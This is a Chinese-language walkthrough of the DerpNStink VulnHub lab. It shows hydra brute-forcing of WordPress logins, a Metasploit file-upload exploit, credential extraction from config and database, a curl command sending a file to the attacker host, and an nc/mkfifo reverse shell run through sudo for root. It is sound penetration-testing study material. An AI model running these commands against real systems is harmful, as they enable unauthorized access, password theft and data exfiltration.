vulnhub(11):derpnstink(hydra爆破用户名和密码、验证的文件上传)

端口

nmap主机发现
nmap -sn 192.168.159.120/24
​
Nmap scan report for 192.168.159.120
Host is up (0.00020s latency).
​
120是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.159.120 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh                                                                
80/tcp    open  http                                                                                                                  发现开放3个端口
nmap -sT -sC -sV -O -p21,22,80 -oA nmap/scan 192.168.159.120详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 124ef86e7b6cc6d87cd82977d10beb72 (DSA)
|   2048 72c51c5f817bdd1afb2e5967fea6912f (RSA)
|   256 06770f4b960a3a2c3bf08c2b57b597bc (ECDSA)
|_  256 28e8ed7c607f196ce3247931caab5d2d (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: DeRPnStiNK
| http-robots.txt: 2 disallowed entries 
|_/php/ /temporary/
​
​
分析:
21 ftp端口开放
80 web端口开放
22 ssh端口开放
21端口匿名登录不上去
看80端口,主页面只有两张图片,我们看源代码页面:
敏感信息1:<script type="text/info" src="/webnotes/info.txt"></script>
敏感信息2:注释<--flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166) -->

立足

/webnotes/info.txt:
<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->
​
/webnotes:
[stinky@DeRPnStiNK /var/www/html ]$ whois derpnstink.localDomain Name: derpnstink.localRegistry Domain ID: 2125161577_DOMAIN_COM-VRSNRegistrar WHOIS Server: whois.fakehosting.comRegistrar URL: http://www.fakehosting.comUpdated Date: 2017-11-12T16:13:16ZCreation Date: 2017-11-12T16:13:16ZRegistry Expiry Date: 2017-11-12T16:13:16ZRegistrar: fakehosting, LLCRegistrar IANA ID: 1337Registrar Abuse Contact Email: stinky@derpnstink.localRegistrar Abuse Contact Phone:Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
​DNSSEC: unsignedURL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/综合以上信息:
我们需要给ip绑定一个host头derpnstink.local,以便于后续正常访问服务
vim /etc/hosts
192.168.159.120         derpnstink.local
目录扫描
gobuster dir -u http://derpnstink.local/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash
​
发现:
/weblog/              (Status: 200) [Size: 15172]
​
再扫一遍weblog目录,
gobuster dir -u http://derpnstink.local/weblog -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash 
:
/.html/               (Status: 403) [Size: 296]
/.php/                (Status: 403) [Size: 295]
/index.php/           (Status: 301) [Size: 0] [--> http://derpnstink.local/weblog/]
/wp-content/          (Status: 200) [Size: 0]
/wp-login.php/        (Status: 200) [Size: 2796]
/wp-includes/         (Status: 403) [Size: 302]
/wp-admin/            (Status: 302) [Size: 0] [--> http://derpnstink.local/weblog/wp-login.php?redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&reauth=1]
/xmlrpc.php/          (Status: 405) [Size: 42]
/.php/                (Status: 403) [Size: 295]
/.html/               (Status: 403) [Size: 296]
/wp-signup.php/       (Status: 302) [Size: 0] [--> http://derpnstink.local/weblog/wp-login.php?action=register]
​
显然是个博客,貌似还是wordpress,我的插件检测到了这就是wordpress,版本是4.6.29
wpscan扫描
wpscan扫描一下:
wpscan --url http://derpnstink.local/weblog/ --api-token BQt8Nu27fqP76gJ44k9M5Z5AOuwQcc40k4YBs6lAUMY --disable-tls-checks
​
扫出了一个任意文件上传漏洞,其他的都是csrf或xss的跨站攻击
Title: Slideshow Gallery < 1.4.7 - Arbitrary File Upload
这个漏洞我试了半天,当尝试msf利用此漏洞时,才发现他是需要验证的文件上传漏洞(Authenticated Arbitrary File Upload),也就是我们需要一个用户才能利用此漏洞
hydra爆破用户和密码
我们使用hydra爆破wordpress有哪些用户:
hydra -p 123 -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt derpnstink.local http-post-form "/weblog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&testcookie=1:Invalid"
​
解释一下:http-post-form表单数据是我提前用burp抓下来的,其中log=^USER^&pwd=^PASS^,分别是用户名密码及其占位符
Invalid表示回显中有“Invalid”字符串的结果不是我们想要的
​
抓到一个用户admin
​
我们使用hydra爆破admin的密码:
hydra -P /usr/share/wordlists/SecLists-master/Passwords/darkweb2017-top10000.txt -l admin derpnstink.local http-post-form "/weblog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&testcookie=1:incorrect|empty" 
​
成功爆破:
[80][http-post-form] host: derpnstink.local   login: admin   password: admin
验证的文件上传漏洞利用(CVE-2014-5460)
https://nvd.nist.gov/vuln/detail/CVE-2014-5460
​
search slideshow
结果:
1  exploit/unix/webapp/wp_slideshowgallery_upload  2014-08-28       excellent  Yes    Wordpress SlideShow Gallery Authenticated File Upload
​
use 1
​
option这样设置:
Basic options:Name         Current Setting   Required  Description----         ---------------   --------  -----------Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]RHOSTS       derpnstink.local  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-MetasploitRPORT        80                yes       The target port (TCP)SSL          false             no        Negotiate SSL/TLS for outgoing connectionsTARGETURI    /weblog           yes       The base path to the wordpress applicationVHOST                          no        HTTP server virtual hostWP_PASSWORD  admin             yes       Valid password for the provided usernameWP_USER      admin             yes       A valid usernamerun 一下直接getshell : www-data

提权

信息枚举
还是之前配置错误信息收集,没什么敏感的,接下来尝试敏感文件收集
​
find /var/www -name *conf* 2>/dev/null 
/var/www/html/weblog/wp-config.php
/var/www/html/weblog/wp-includes/images/smilies/icon_confused.gif
/var/www/html/weblog/wp-content/plugins/akismet/views/config.php
/var/www/html/weblog/wp-config-sample.php
/var/www/html/weblog/wp-admin/setup-config.php
​
cat /var/www/html/weblog/wp-config.php 获取到数据库登录用户密码
​
define('DB_NAME', 'wordpress');                                                             
define('DB_USER', 'root');                                                                      
define('DB_PASSWORD', 'mysql');
​
mysql登录后一顿查,最后翻出来了:
+------------------+-------------------------------------------+                       
| User             | Password                                  |                       
+------------------+-------------------------------------------+                       
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |                       
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |                      
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |                        
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |                      
| debian-sys-maint | *B95758C76129F85E0D68CF79F38B66F156804E93 |                       
| unclestinky      | *9B776AFB479B31E8047026F1185E952DD1E530CB |                      
| phpmyadmin       | *4ACFE3202A5FF5CF467898FC58AAB1D615029441 |          
+------------------+-------------------------------------------+ 
​
unclestinky $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
admin $P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/
​
cat /etc/passwd:看到unclestinky对应的用户是stinky
破解$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41:wedgie57 
su切换一下用户,成功了
​
cat flag.txt
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)
​
我擦,flag2没找到直接到flag3了,算了等root后再说(虽然root后就懒得找了)
简单配置错误信息枚举后,没有可利用配置错误提权,直接收集下敏感信息
/home/stinky/Documents下有:
-rw-r--r--  1 root   root   4391468 Nov 13  2017 derpissues.pcap
pcap是抓的数据包
是root创建的,非常可疑,直接考下来wireshark分析
推荐一个很吊的脚本getfile.py,用于获取靶机上的文件
import http.server
import os
​
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):def do_POST(self):content_length = int(self.headers['Content-Length'])post_data = self.rfile.read(content_length)# 保存上传的文件with open("uploaded_file", 'wb') as f:f.write(post_data)
​# 返回成功响应self.send_response(200)self.end_headers()self.wfile.write(b'File uploaded successfully.')
​
if __name__ == "__main__":PORT = 8000server_address = ("", PORT)httpd = http.server.HTTPServer(server_address, SimpleHTTPRequestHandler)print(f"Serving on port {PORT}")httpd.serve_forever()
攻击机器:python getfile.py后
​
直接再靶机上:curl -X POST --data-binary @./derpissues.pcap http://192.168.159.47:8000/
​
是不是非常方便,用不着scp那么麻烦,而且需要用户身份验证
简单分析获取mrderp用户密码

登录后,sudo -l看一下
Matching Defaults entries for mrderp on DeRPnStiNK:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
​
User mrderp may run the following commands on DeRPnStiNK:(ALL) /home/mrderp/binaries/derpy*
​
直接:echo "mkfifo /tmp/f;nc 192.168.159.47 1234 0</tmp/f|/bin/sh > /tmp/f 2>&1;rm /tmp/f" > /home/mrderp/binaries/derpy.sh
​
然后:
攻击机器:nc -nvlp 1234
靶机:sudo /home/mrderp/binaries/derpy.sh
获取到root权限
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)
补:flag2
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
​
使用unclestinky用户登录wordpress后台管理页面,在Dashboard中看到
​
之前查数据库时候
+------------------+-------------------------------------------+                       
| User             | Password                                  |                       
+------------------+-------------------------------------------+                       
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |                       
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |                      
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |                        
| root             | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |                      
| debian-sys-maint | *B95758C76129F85E0D68CF79F38B66F156804E93 |                       
| unclestinky      | *9B776AFB479B31E8047026F1185E952DD1E530CB | <===========用来登录  wordpress                   
| phpmyadmin       | *4ACFE3202A5FF5CF467898FC58AAB1D615029441 |          
+------------------+-------------------------------------------+ 
​
unclestinky $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41                 <======= 用来登录ssh
admin $P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/428076.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【论文笔记】Are Large Kernels Better Teacheres than Transformers for ConvNets

Abstract 本文提出蒸馏中小核ConvNet做学生时&#xff0c;与Transformer相比&#xff0c;大核ConvNet因其高效的卷积操作和紧凑的权重共享&#xff0c;使得其做教师效果更好&#xff0c;更适合资源受限的应用。 用蒸馏从Transformers蒸到小核ConvNet的效果并不好&#xff0c;原…

图的应用(关键路径)

基于你设计的带权有向无环图&#xff0c;写出所有合法的关键路径&#xff0c;并算出关键路径总长度 文字描述&#xff1a;关键路径总长度的现实意义是什么&#xff1f; 1.关键路径 总长度454316 2.现实意义 从源点到汇点的所有路径中&#xff0c;具有最大路径长度的路径称…

好的头戴式降噪耳机一定很贵吗?四款热门头戴耳机盘点及推荐!

在快节奏的现代生活中&#xff0c;噪音无处不在&#xff0c;它常常干扰着我们的工作、学习与休闲时光。而一款高性价比的降噪蓝牙耳机&#xff0c;就如同一个贴心的伙伴&#xff0c;能为我们营造出一片宁静的听觉空间。如今&#xff0c;耳机市场蓬勃发展&#xff0c;想要好的头…

Broadcast:Android中实现组件及进程间通信

目录 一&#xff0c;Broadcast和BroadcastReceiver 1&#xff0c;简介 2&#xff0c;广播使用 二&#xff0c;静态注册和动态注册 三&#xff0c;无序广播和有序广播 1&#xff0c;有序广播的使用 2&#xff0c;有序广播的截断 3&#xff0c;有序广播的信息传递 四&am…

如何在GitHub上克隆仓库:HTTPS、SSH和GitHub CLI的区别

GitHub是开发者的天堂&#xff0c;提供了丰富的工具和功能来管理代码和项目。在克隆GitHub仓库时&#xff0c;你可能会遇到三种常见的方法&#xff1a;HTTPS、SSH和GitHub CLI。每种方法都有其独特的优势和适用场景。本文将深入探讨这三种克隆方式的区别&#xff0c;帮助你选择…

C++--类的实例化

一、实例化的概念 用类类型在屋里内存中创建对象的过程&#xff0c;称为类实例化出对象 类是对对象进行一种抽象描述&#xff0c;是一个模型一样的东西&#xff0c;限定了类有哪些成员变量&#xff0c;这些成员变量只是声明&#xff0c;没有分配空间&#xff0c;用类实例化出…

java项目之编程训练系统源码(springboot)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的编程训练系统。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 编程训练系统的主要使用者管…

【鸿蒙】HarmonyOS NEXT开发快速入门教程之ArkTS语法装饰器(上)

文章目录 前言一、ArkTS基本介绍1、 ArkTS组成2、组件参数和属性2.1、区分参数和属性的含义2.2、父子组件嵌套 二、装饰器语法1.State2.Prop3.Link4.Watch5.Provide和Consume6.Observed和ObjectLink代码示例&#xff1a;示例1&#xff1a;&#xff08;不使用Observed和ObjectLi…

未来通信抢先看!遨游通讯2024年中国国际信息通信展亮点剧透

2024年中国国际信息通信展览会将于9月25日-27日在北京国家会议中心举行&#xff0c;本届展会以“推动数实深度融合&#xff0c;共筑新质生产力”为主题。在通信技术日新月异的今天&#xff0c;卫星通信、人工智能、低碳节能等技术理念正引领着通信行业迈向新的高度。遨游通讯作…

【漏洞复现】Casbin casdoor static 任意文件读取漏洞

漏洞描述 Casdoor 是 Casbin 开源社区推出的基于 OAuth 2.0 / OIDC 的中心化的单点登录(SSO)身份验证平台。 Casdoor static 存在任意文件读取漏洞,攻击者通过发送特殊的请求包可以获取服务器中的敏感文件。 免责声明 技术文章仅供参考,任何个人和组织使用网络应当遵…

Linux C# DAY3

作业 1、 #!/bin/bash mkdir -p ~/dir/dir1 mkdir ~/dir/dir2 cp ./* ~/dir/dir1 cp ./*.sh ~/dir/dir2 cd ~/dir/ tar -cvJf dir2.tar.xz ./dir2 mv dir2.tar.xz ~/dir/dir1/ cd ~/dir/dir1/ tar -xvf dir2.tar.xz 2、 #!/bin/bash head -5 /etc/group | tail -1 sudo mkdi…

CORS漏洞及其防御措施:保护Web应用免受攻击

1. 背景- 什么是CORS&#xff1f; 在当今互联网时代&#xff0c;Web 应用程序的架构日益复杂。一个后端服务可能对应一个前端&#xff0c;也可能与多个前端进行交互。跨站资源共享&#xff08;CORS&#xff09;机制在这种复杂的架构中起着关键作用&#xff0c;但如果配置不当&…

Redis Key的过期策略

Redis 的过期策略主要是指管理和删除那些设定了过期时间的键&#xff0c;以确保内存的有效使用和数据的及时清理。 具体来说&#xff0c;Redis 有三种主要的过期策略&#xff1a;定期删除&#xff08;Scheduled Deletion&#xff09;、惰性删除&#xff08;Lazy Deletion&#…

鸿蒙Harmony-Next 徒手撸一个日历控件

本文将介绍如何使用鸿蒙Harmony-Next框架实现一个自定义的日历控件。我们将创建一个名为CalendarView的组件&#xff08;注意,这里不能叫 Calendar因为系统的日历叫这个&#xff09;,它具有以下功能: 显示当前月份的日历支持选择日期显示农历日期可以切换上一月和下一月 组件…

情感类智能体——你的微信女神

智能体名称&#xff1a;你的微信女神 链接&#xff1a;文心智能体平台AgentBuilder | 想象即现实 (baidu.com)https://agents.baidu.com/agent/preview/RulbsUjIGj4wsinydlBH7AR3NQKFungt 简介 “你的微信女神”是一个直率的智能体&#xff0c;她用犀利而真实的言辞帮助用户…

C++第十一节课 new和delete

一、new和delete操作自定义类型 new/delete 和 malloc/free最大区别是 new/delete对于【自定义类型】除了开空间还会调用构造函数和析构函数&#xff08;new会自动调用构造函数&#xff1b;delete会调用析构函数&#xff09; class A { public:A(int a 0): _a(a){cout <&l…

JAVAWeb--前端工程化

一、前端工程化开篇 1.1 什么是前端工程化 前端工程化是使用软件工程的方法来单独解决前端的开发流程中模块化、组件化、规范化、自动化的问题,其主要目的为了提高效率和降低成本。 1.2 前端工程化实现技术栈 前端工程化实现的技术栈有很多,我们采用ES6nodejsnpmViteVUE3route…

【C++ Primer Plus习题】16.10

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> #include <string> #include <…

CefSharp_Vue交互(Element UI)_WinFormWeb应用(2)---置顶和取消置顶(含示例代码)

一、预览 获取winform的置顶参数,和设置置顶参数 1.1 置顶(默认不置顶) 1.2 示例代码

服务器——装新的CUDA版本的方法

服务器——装新的CUDA版本 一、进入 CUDA 版本列表二、根据自己服务器&#xff0c;选择对应的版本和配置三、使用管理员用户&#xff0c;运行下载和安装命令四、查看显卡驱动是否安装4.1 若安装了显卡驱动4.2 若显卡驱动没安装 参考文章 一、进入 CUDA 版本列表 CUDA Toolkit …